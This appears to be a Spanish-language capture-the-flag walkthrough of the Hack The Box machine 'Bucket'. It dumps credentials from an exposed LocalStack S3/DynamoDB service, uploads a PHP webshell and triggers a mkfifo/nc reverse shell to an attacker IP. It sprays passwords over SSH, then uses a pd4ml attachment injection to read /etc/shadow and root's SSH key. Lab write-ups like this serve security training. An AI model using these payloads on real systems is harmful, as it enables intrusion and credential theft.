Bucket

sudo nmap 10.129.25.33 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
sudo nmap 10.129.25.33 -p 22,80 -sCV -oN targeted
echo "10.129.25.33    bucket.htb" >> /etc/hosts

Fuzzeamos para encontrar subdominios

ffuf -u http://bucket.htb -H "Host: FUZZ.bucket.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt  -mc all -ac -t 150

Lo añadimos también al /etc/hosts

Tiene toda la pinta de que es un Bucket S3

Probamos si está abierto a Everyone

Probamos si está abierto a Any Authenticathed User

Primero nos logueamos con nuestra cuenta real de aws

aws login

Tratamos de listar una vez autenticados, sin éxito

aws s3 ls s3://s3.bucket.htb

Buscamos directorios

gobuster dir -u http://s3.bucket.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt  -t 100

Parece ser que hay un dynamo también

curl http://s3.bucket.htb/health -s ; echo
{"services": {"s3": "running", "dynamodb": "running"}}

Encontramos algo en

http://s3.bucket.htb/shell/

var db = new AWS.DynamoDB();
db.listTables(function(err, data) {
    if (err) console.log(err);
    else console.log(data);
});
{
	"message":"The security token included in the request is invalid.",
	"code":"UnrecognizedClientException",
	"time":"2025-12-26T17:29:29.427Z",
	"statusCode":400,
	"retryable":false
}

Nos piden credenciales, podemos meter unas creds falsas ya que estamos trabajando en local, no estamos usando la nube real de AWS.

Es por eso que ponemos como endpoint el nombre del dominio, porque seguramente se trate de LocalStack , por ejemplo, que es un emulador de AWS local.
Ponemos us-east-1 porque es la región mas conocida.

AWS.config.update({
  region: "us-east-1",
  endpoint: "http://s3.bucket.htb",
  accessKeyId: "fake",
  secretAccessKey: "fake"
});
[]

Listamos las tablas de la db

var db = new AWS.DynamoDB();
db.listTables(function(err, data) {
    if (err) console.log(err);
    else console.log(data);
});
{"TableNames":["users"]}

Hacemos un scan a la tabla (leerla completa)

var docClient = new AWS.DynamoDB.DocumentClient();
var params = {
    TableName: 'users'
};

docClient.scan(params, function(err, data) {
    if (err) console.log(err);
    else console.log(data);
});
{
  "Items": [
    {
      "password": "Management@#1@#",
      "username": "Mgmt"
    },
    {
      "password": "Welcome123!",
      "username": "Cloudadm"
    },
    {
      "password": "n2vM-<_K_Q:.Aa2",
      "username": "Sysadm"
    }
  ],
  "Count": 3,
  "ScannedCount": 3
}

Los probamos contra ssh sin éxito

nxc ssh 10.129.25.33 -u users.txt -p passwords.txt --continue-on-success

Tratamos de listar buckets s3

// 1. Inicializar S3
var s3 = new AWS.S3({ 
    region: 'us-east-1',
    endpoint: "http://s3.bucket.htb"
});

// 2. Definir parametros
var params = {
    Bucket: 's3.bucket.htb' 
};

// 3. Listar archivos
s3.listObjects(params, function(err, data) {
    if (err) {
        console.log("Error:");
        console.log(err);
    } else {
        console.log("Archivos encontrados:");
        // Recorremos la lista para imprimir solo los nombres
        data.Contents.forEach(function(obj) {
            console.log(obj.Key);
        });
    }
});

Pero la herramienta es antigua y solo parsea json

{
  "message": "Cannot load XML parser",
  "code": "XMLParserError",
  "time": "2025-12-26T18:03:40.633Z",
  "originalError": {
    "message": "Cannot load XML parser",
    "code": "XMLParserError",
    "time": "2025-12-26T18:03:40.633Z"
  },
  "statusCode": 404,
  "retryable": false
}

Resulta que podemos hacerlo desde consola, habíamos tratado de listar los buckets sin indicar el --endpoint-url, olvidábamos que al ser un entorno CTF, seguramente use un emulador de AWS local como LocalStack

Ahora si, ya podemos listar los buckets, cuando antes nos tiraba permiso denegado

aws s3 ls --endpoint-url http://s3.bucket.htb
2025-12-26 13:10:03 adserver

Listar contenido del bucket

aws s3 ls s3://adserver --endpoint-url http://s3.bucket.htb

Nos lo descargamos

aws s3 sync s3://adserver . --endpoint-url http://s3.bucket.htb

Parece ser la página inicial , la http://bucket.htb/

Aprovechamos que es un php para subir una shell, ya que al parecer también tenemos permisos de escritura

aws s3 cp /mnt/Windows/Hacking/tools/shell.php  s3://adserver --endpoint-url http://s3.bucket.htb
nc -lvnp 4444
http://bucket.htb/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.17.48%204444%20%3E%2Ftmp%2Ff

Normalizamos shell

Encontramos un usuario llamado roy

nxc ssh 10.129.25.33 -u roy -p passwords.txt --continue-on-success
roy \ n2vM-<_K_Q:.Aa2

Nos conectamos por ssh y leemos la flag de user.txt

Dentro de .aws hay creds pero son del usuario root

ls -lh /.aws

total 8.0K
-rw------- 1 root root 22 Sep 16  2020 config
-rw------- 1 root root 64 Sep 16  2020 credentials

Estamos en el grupo sysadm pero no parece tener ningún archivo propio.

find / -group sysadm 2>/dev/null | grep -v -e '^/run' -e '^/sys' -e '^/proc'

Puertos abiertos

netstat -tuln

Hay cosas en el puerto 8000 y 45229

ssh roy@10.129.25.33 -L 8000:127.0.0.1:8000 -L 45229:127.0.0.1:45229

Fuzzeamos

gobuster dir -u http://127.0.0.1:8000 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt  -t 200

Parece que la página está en la máquina en la ruta /var/www/bucket-app y los archivos le pertenecen a root

En el index.php hay este código

<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
	if($_POST["action"]==="get_alerts") { #Solo se ejecuta si se envía el parámetro action con el valor get_alerts
		date_default_timezone_set('America/New_York');
		$client = new DynamoDbClient([
			'profile' => 'default',
			'region'  => 'us-east-1',
			'version' => 'latest',
			'endpoint' => 'http://localhost:4566'
		]);

		$iterator = $client->getIterator('Scan', array(
			'TableName' => 'alerts',
			'FilterExpression' => "title = :title",
			'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
		)); #Busca en la tabla los items donde el title sea Ransomware

		foreach ($iterator as $item) {
			$name=rand(1,10000).'.html';
			file_put_contents('files/'.$name,$item["data"]);
			#recorre las entradas de la base de datos con title Ransomware y pilla el valor de la columna data y lo mete en un archivo con un nombre random .html en la carpeta files
		}
		passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
		
		#convierte ese html a pdf con PD4ML
		
	}
}
else
{
?>

Sin embargo parece que no existe esa tabla

aws dynamodb scan --table-name alerts --endpoint-url http://s3.bucket.htb --region us-east-1

An error occurred (ResourceNotFoundException) when calling the Scan operation: Cannot do operations on a non-existent table

Seguramente debamos crearla.

La creamos como nos piden con una columna title

Aquí solo mencionamos title porque es la Primary Key (lo único obligatorio). Si intentas definir data aquí, te dará error.

aws dynamodb create-table \
    --table-name alerts \
    --attribute-definitions AttributeName=title,AttributeType=S \
    --key-schema AttributeName=title,KeyType=HASH \
    --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
    --endpoint-url http://localhost:4566 \
    --region us-east-1

Para meter datos

aws dynamodb put-item \
    --table-name alerts \
    --endpoint-url http://localhost:4566 \
    --region us-east-1 \
    --item '{
        "title": {"S": "Ransomware"},
        "data":  {"S": "<html><body><pre><?php if(isset($_GET['cmd'])){ system($_GET['cmd']); }?></pre></body></html>"}
    }'

Entonces primero creamos la tabla

Le pasamos --no-sign-request para que no nos pida creds (creds fake) para firmar la solicitud

aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 --endpoint-url http://localhost:4566 --region us-east-1 --no-sign-request

Vemos su contenido (vacía)

aws dynamodb scan --table-name alerts --endpoint-url http://localhost:4566 --region us-east-1 --no-sign-request

Insertamos una webshell

aws dynamodb put-item --table-name alerts --endpoint-url http://localhost:4566 --region us-east-1 --item '{
        "title": {"S": "Ransomware"},
        "data":  {"S": "<html><body><pre><?php if(isset($_GET['cmd'])){ system($_GET['cmd']); }?></pre></body></html>"}
    }' --no-sign-request

Cuando enviemos la petición POST

POST / HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

action=get_alerts

Recibimos un 200 OK y vemos dos archivos

El problema aquí es que no podemos controlar el nombre del archivo html para cambiarlo a php y así se nos interprete la shell, por lo que no podemos conseguir rce.

De todas formas la librería de java permite convertir ciertas etiquetas html a attachments dentro del pdf

aws dynamodb put-item --table-name alerts --endpoint-url http://localhost:4566 --region us-east-1 --item '{        "title": {"S": "Ransomware"},        "data":  {"S": "<pd4ml:attachment src=\"file:///etc/shadow\" description=\"passwd\" type=\"text/plain\" icon=\"Paperclip\"/>"}    }' --no-sign-request

Por lo que tenemos LFI de cualquier archivo dentro de la máquina

Intentamos romper el hash sin éxito.

Leemos la flag de root.txt

Leemos /root/.ssh/id_rsa

ssh root@10.129.25.33 -i root.pem